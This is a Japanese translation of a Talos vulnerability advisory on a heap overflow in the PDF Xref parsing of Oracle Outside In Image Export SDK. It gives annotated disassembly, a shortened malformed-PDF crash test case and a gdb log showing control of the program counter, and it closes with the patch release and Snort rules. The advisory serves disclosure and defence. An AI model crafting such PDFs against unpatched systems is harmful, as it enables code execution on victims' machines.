この記事は、Aleksandar Nikolic、Jaeson Schultz が執筆しました。
Talos は最近、Oracle Outside In Technology の Image Export SDK に脆弱性があることを発見しました。これが悪用されると、攻撃者がヒープをオーバーフローさせて、任意のコードを実行できる可能性があります。この脆弱性は、Image Export SDK の PDF(Portable Document Format)ファイルの解析処理の部分に存在します。
Xref オブジェクトを含んだ PDF ファイルが解析される際、/Index エントリの値が、デコードされたストリームの処理に使われます。/Index エントリで指定された多数のオブジェクトを含む不正な PDF ファイルにより、割り当てられたバッファの終わりを超えてメモリが上書きされ、隣接するヒープ チャンクが上書きされる可能性があります。
脆弱性は、libvs_pdf.so の sub_B74EB0EE 関数に存在します(イメージ ベースがあるのは、0xB74BF000)。ヒープ構造が、次のコードを始まりとして、16 バイトずつ増分して繰り返されています。
.text:B74EC5D6 mov eax, [esp+0AFCh+var_A58] .text:B74EC5DD shl eax, 4 .text:B74EC5E0 lea eax, [edx+eax] .text:B74EC5E3 lea edi, [eax+10h] [1] .text:B74EC5E6 mov [esp+0AFCh+var_A38], 0 .text:B74EC5F1 .text:B74EC5F1 loc_B74EC5F1: .text:B74EC5F1 cmp word ptr [edi-2], 0 .text:B74EC5F6 jnz loc_B74EC856 .text:B74EC5FC cmp [esp+0AFCh+var_A61], 0 .text:B74EC604 jnz loc_B74EC7FA .text:B74EC60A mov word ptr [edi-4], 1 [2] .text:B74EC610 .text:B74EC610 loc_B74EC610: .text:B74EC610 mov edx, [esp+0AFCh+var_A40] .text:B74EC617 mov eax, esi .text:B74EC619 call sub_B74C40A6 .text:B74EC61E mov [edi-0Ch], eax [3] .text:B74EC621 add esi, [esp+0AFCh+var_AD4] .text:B74EC625 cmp [esp+0AFCh+var_A63], 0 .text:B74EC62D jnz loc_B74EC7E5 .text:B74EC633 mov dword ptr [edi-8], 0 [4] ... .text:B74EC640 add [esp+0AFCh+var_A38], 1 .text:B74EC648 add edi, 10h [5] .text:B74EC64B mov eax, [esp+0AFCh+var_A50] .text:B74EC652 sub eax, [esp+0AFCh+var_A58] .text:B74EC659 cmp [esp+0AFCh+var_A38], eax .text:B74EC660 jnz short loc_B74EC5F1 [6]
抜粋したコードでは、繰り返し構造への最初のポインタが、[1] で「eax」から「edi」へ移るところから始まっています。[2]、[3]、[4] では、分岐した先によって、それぞれ異なる値が、「edi」とオフセットで示されたメモリ アドレスに書き込まれます。[5] で、「edi」が増分され、[6] で、ループの開始地点に戻ります。ループが実行される回数は、/Index エントリで指定されたオブジェクトの数に結び付けられています。
以下は、クラッシュ テスト ケースの短縮バージョンです。
%PDF-1.6 % 1 0 obj << /Filter/FlateDecode /Index[40 20] /Length 55 /Size 6 /Type/XRef /W[0 1 0]>> stream ... endstream endobj startxref 116 %%EOF
このサンプルの PDF ファイルでは、/Size に 6 が指定されています。しかし、/Index の記述では、オブジェクト ストリームに、オブジェクト ナンバー 40 から始まる 20 のオブジェクトへの参照が含まれています。
提供されたこの最小限のテストケースで、脆弱性が引き起こされ、それに起因して、ヒープの破損と関数ポインタの上書きが生じます。この関数ポインタが、後に逆参照され、その結果、プログラム カウンタが直接制御されます。この脆弱性は、SDK で提供されるプログラム「ixsample」で引き起こされる可能性があります。
Starting program: /home/ea/oit_pdf/sdk/demo/ixsample trigger asd [Thread debugging using libthread_db enabled] Using host libthread_db library "/usr/lib/libthread_db.so.1". Program received signal SIGSEGV, Segmentation fault. [----------------------------------registers-----------------------------------] EAX: 0x41454145 ('EAEA') EBX: 0xb7af5b54 --> 0x36b98c ECX: 0x1 EDX: 0x804eaf0 --> 0x0 ESI: 0xbfffd298 --> 0xa ('\n') EDI: 0x80b6b68 (0x080b6b68) EBP: 0xb74eec64 ("Prev") ESP: 0xbfffd23c --> 0xb78673ce (mov edx,DWORD PTR [edi+0x10]) EIP: 0x41454145 ('EAEA') EFLAGS: 0x10202 (carry parity adjust zero sign trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] Invalid $PC address: 0x41454145 [------------------------------------stack-------------------------------------] 0000| 0xbfffd23c --> 0xb78673ce (mov edx,DWORD PTR [edi+0x10]) 0004| 0xbfffd240 --> 0xb74eec64 ("Prev") 0008| 0xbfffd244 --> 0x0 0012| 0xbfffd248 --> 0xbfffd274 --> 0x0 0016| 0xbfffd24c --> 0xb74f6998 --> 0x3787c 0020| 0xbfffd250 --> 0xbfffd298 --> 0xa ('\n') 0024| 0xbfffd254 --> 0xbfffdd90 --> 0x0 0028| 0xbfffd258 --> 0xb74eec64 ("Prev") [------------------------------------------------------------------------------] Legend: code, data, rodata, value Stopped reason: SIGSEGV 0x41454145 in ??() gdb$
2016 年 4 月 19 日に、Oracle はこの脆弱性に対処する Image Export SDK のパッチ適用済みバージョンをリリースしました。Talos は、Snort ルール 37505 および 37506 を通じて、TALOS-CAN-0086 を標的とするエクスプロイトに対するカバレッジを提供しています。
本稿は 2016年4月20日に Talos Group のブログに投稿された「ORACLE OIT IMAGE EXPORT SDK LIBVS_PDF XREF INDEX CODE EXECUTION VULNERABILITY」の抄訳です。